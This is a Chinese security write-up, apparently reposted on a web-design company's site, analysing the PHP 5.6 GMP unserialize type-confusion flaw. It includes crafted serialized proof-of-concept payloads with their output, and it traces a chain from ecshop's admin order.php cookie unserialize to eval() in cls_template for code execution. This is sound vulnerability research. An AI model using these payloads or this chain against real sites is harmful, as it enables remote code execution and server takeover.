這篇文章給大家介紹從反序列化到類型混淆漏洞的ecshop實例利用是怎樣的,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
10年積累的成都網站制作、網站設計經驗,可以快速應對客戶對網站的新想法和需求。提供各種問題對應的解決方案。讓選擇我們的客戶得到更好、更有力的網絡服務。我雖然不認識你,你也不認識我。但先網站設計后付款的網站建設流程,更有大渡口免費網站建設讓你可以放心的選擇與我們合作。
php 5.6.x
反序列化入口點
可以觸發__wakeup的觸發點(在php < 5.6.11以下,可以使用內置類)
gmp.c
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */ { ... ALLOC_INIT_ZVAL(zv_ptr); if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC) || Z_TYPE_P(zv_ptr) != IS_ARRAY ) { zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC); goto exit; } if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) { zend_hash_copy( zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr), (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *) ); }
zend_object_handlers.c
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */ { zend_object *zobj; zobj = Z_OBJ_P(object); if (!zobj->properties) { rebuild_object_properties(zobj); } return zobj->properties; }
從gmp.c中的片段中我們可以大致理解漏洞發現者taoguangchen的原話。
__wakeup
等魔術方法可以導致ZVAL在內存中被修改。因此,攻擊者可以將**object轉化為整數型或者bool型的ZVAL,那么我們就可以通過Z_OBJ_P
訪問存儲在對象儲存中的任何對象,這也就意味著可以通過zend_hash_copy
覆蓋任何對象中的屬性,這可能導致很多問題,在一定場景下也可以導致安全問題。
或許僅憑借代碼片段沒辦法理解上述的話,但我們可以用實際測試來看看。
首先我們來看一段測試代碼
<?php class obj { var $ryat; function __wakeup() { $this->ryat = 1; } } class b{ var $ryat =1; } $obj = new stdClass; $obj->aa = 1; $obj->bb = 2; $obj2 = new b; $obj3 = new stdClass; $obj3->aa =2; $inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}'; $exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}'; $x = unserialize($exploit); $obj4 = new stdClass; var_dump($x); var_dump($obj); var_dump($obj2); var_dump($obj3); var_dump($obj4); ?>
在代碼中我展示了多種不同情況下的環境。
讓我們來看看結果是什么?
array(1) { [0]=> &int(1) } object(stdClass)#1 (3) { ["aa"]=> string(2) "hi" ["bb"]=> string(2) "hi" [0]=> object(obj)#5 (1) { ["ryat"]=>&int(1) } } object(b)#2 (1) { ["ryat"]=> int(1) } object(stdClass)#3 (1) { ["aa"]=> int(2) } object(stdClass)#4 (0) { }
我成功修改了第一個聲明的對象。
但如果我將反序列化的類改成b會發生什么呢?
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:1:"b":1:{s:4:"ryat";R:2;}}';
很顯然的是,并不會影響到其他的類變量
array(1) { [0]=> &object(GMP)#4 (4) { ["aa"]=>string(2) "hi" ["bb"]=>string(2) "hi" [0]=>object(b)#5 (1) { ["ryat"]=> &object(GMP)#4 (4) { ["aa"]=>string(2) "hi" ["bb"]=>string(2) "hi" [0]=>*RECURSION* ["num"]=>string(2) "32" } } ["num"]=>string(2) "32" } } object(stdClass)#1 (2) { ["aa"]=> int(1) ["bb"]=> int(2) } object(b)#2 (1) { ["ryat"]=> int(1) } object(stdClass)#3 (1) { ["aa"]=> int(2) } object(stdClass)#6 (0) { }
如果我們給class b加一個__Wakeup
函數,那么又會產生一樣的效果。
但如果我們把wakeup魔術方法中的變量設置為2
class obj { var $ryat; function __wakeup() { $this->ryat = 2; } }
返回的結果可以看出來,我們成功修改了第二個聲明的對象。
array(1) { [0]=> &int(2) } object(stdClass)#1 (2) { ["aa"]=> int(1) ["bb"]=> int(2) } object(b)#2 (4) { ["ryat"]=> int(1) ["aa"]=> string(2) "hi" ["bb"]=> string(2) "hi" [0]=> object(obj)#5 (1) { ["ryat"]=>&int(2) } } object(stdClass)#3 (1) { ["aa"]=> int(2) } object(stdClass)#4 (0) { }
但如果我們把ryat改為4,那么頁面會直接返回500,因為我們修改了沒有分配的對象空間。
在完成前面的試驗后,我們可以把漏洞的利用條件簡化一下。
如果我們有一個可控的反序列化入口,目標后端PHP安裝了GMP插件(這個插件在原版php中不是默認安裝的,但部分打包環境中會自帶),如果我們找到一個可控的__wakeup
魔術方法,我們就可以修改反序列化前聲明的對象屬性,并配合場景產生實際的安全問題。
如果目標的php版本在5.6 <= 5.6.11中,我們可以直接使用內置的魔術方法來觸發這個漏洞。
var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));
在討論完GMP類型混淆漏洞之后,我們必須要討論一下這個漏洞在真實場景下的利用方式。
漏洞的發現者Taoguang Chen提交了一個在mybb中的相關利用。
https://hackerone.com/reports/198734
這里我們不繼續討論這個漏洞,而是從頭討論一下在ecshop中的利用方式。
ecshop 4.0.7
php 5.6.9
首先我們需要找到一個反序列化入口點,這里我們可以全局搜索unserialize
,挨個看一下我們可以找到兩個可控的反序列化入口。
其中一個是search.php line 45
... { $string = base64_decode(trim($_GET['encode'])); if ($string !== false) { $string = unserialize($string); if ($string !== false) ...
這是一個前臺的入口,但可惜的是引入初始化文件在反序列化之后,這也就導致我們沒辦法找到可以覆蓋類變量屬性的目標,也就沒辦法進一步利用。
還有一個是admin/order.php line 229
/* 取得上一個、下一個訂單號 */ if (!empty($_COOKIE['ECSCP']['lastfilter'])) { $filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter'])); ...
后臺的表單頁的這個功能就滿足我們的要求了,不但可控,還可以用urlencode來繞過ecshop對全局變量的過濾。
這樣一來我們就找到了一個可控并且合適的反序列化入口點。
get_declared_classes()
來確定在反序列化時,已經聲明定義過的類。
在我本地環境下,除了PHP內置類以外我一共找到13個類
[129]=> string(3) "ECS" [130]=> string(9) "ecs_error" [131]=> string(8) "exchange" [132]=> string(9) "cls_MySQL" [133]=> string(11) "cls_session" [134]=> string(12) "cls_template" [135]=> string(11) "certificate" [136]=> string(6) "oauth3" [137]=> string(15) "oauth3_response" [138]=> string(14) "oauth3_request" [139]=> string(9) "transport" [140]=> string(6) "matrix" [141]=> string(16) "leancloud_client"
從代碼中也可以看到在文件頭引入了多個庫文件
require(dirname(__FILE__) . '/includes/init.php'); require_once(ROOT_PATH . 'includes/lib_order.php'); require_once(ROOT_PATH . 'includes/lib_goods.php'); require_once(ROOT_PATH . 'includes/cls_matrix.php'); include_once(ROOT_PATH . 'includes/cls_certificate.php'); require('leancloud_push.php');
這里我們主要關注init.php,因為在這個文件中聲明了ecshop的大部分通用類。
在逐個看這里面的類變量時,我們可以敏銳的看到一個特殊的變量,由于ecshop的后臺結構特殊,頁面內容大多都是由模板編譯而成,而這個模板類恰好也在init.php中聲明
require(ROOT_PATH . 'includes/cls_template.php'); $smarty = new cls_template;
回到order.php中我們尋找與$smarty
相關的方法,不難發現,主要集中在兩個方法中
... $smarty->assign('shipping', $shipping); $smarty->display('print.htm'); ...
而這里我們主要把視角集中在display方法上。
粗略的瀏覽下display方法的邏輯大致是
請求相應的模板文件 --> 經過一系列判斷,將相應的模板文件做相應的編譯 --> 輸出編譯后的文件地址
比較重要的代碼會在make_compiled
這個函數中被定義
function make_compiled($filename) { $name = $this->compile_dir . '/' . basename($filename) . '.php'; ... if ($this->force_compile || $filestat['mtime'] > $expires) { $this->_current_file = $filename; $source = $this->fetch_str(file_get_contents($filename)); if (file_put_contents($name, $source, LOCK_EX) === false) { trigger_error('can\'t write:' . $name); } $source = $this->_eval($source); } return $source; }
當流程走到這一步的時候,我們需要先找到我們的目標是什么?
重新審視cls_template.php
的代碼,我們可以發現涉及到代碼執行的只有幾個函數。
function get_para($val, $type = 1) // 處理insert外部函數/需要include運行的函數的調用數據 { $pa = $this->str_trim($val); foreach ($pa AS $value) { if (strrpos($value, '=')) { list($a, $b) = explode('=', str_replace(array(' ', '"', "'", '&quot;'), '', $value)); if ($b{0} == '$') { if ($type) { eval('$para[\'' . $a . '\']=' . $this->get_val(substr($b, 1)) . ';'); } else { $para[$a] = $this->get_val(substr($b, 1)); } } else { $para[$a] = $b; } } } return $para; }
get_para只在select中調用,但是沒找到能觸發select的地方。
然后是pop_vars
function pop_vars() { $key = array_pop($this->_temp_key); $val = array_pop($this->_temp_val); if (!empty($key)) { eval($key); } }
恰好配合GMP我們可以控制$this->_temp_key
變量,所以我們只要能在上面的流程中找到任意地方調用這個方法,我們就可以配合變量覆蓋構造一個代碼執行。
在回看剛才的代碼流程時,我們從編譯后的PHP文件中找到了這樣的代碼
order_info.htm.php
<?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>
在遍歷完表單之后,正好會觸發pop_vars
。
這樣一來,只要我們控制覆蓋cls_template
變量的_temp_key
屬性,我們就可以完成一次getshell
關于從反序列化到類型混淆漏洞的ecshop實例利用是怎樣的就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
網頁標題:從反序列化到類型混淆漏洞的ecshop實例利用是怎樣的
網頁網址:http://vcdvsql.cn/article36/gjdppg.html
成都網站建設公司_創新互聯,為您提供App設計、網站內鏈、關鍵詞優化、自適應網站、外貿建站、網站建設
聲明:本網站發布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經允許不得轉載,或轉載時需注明來源: 創新互聯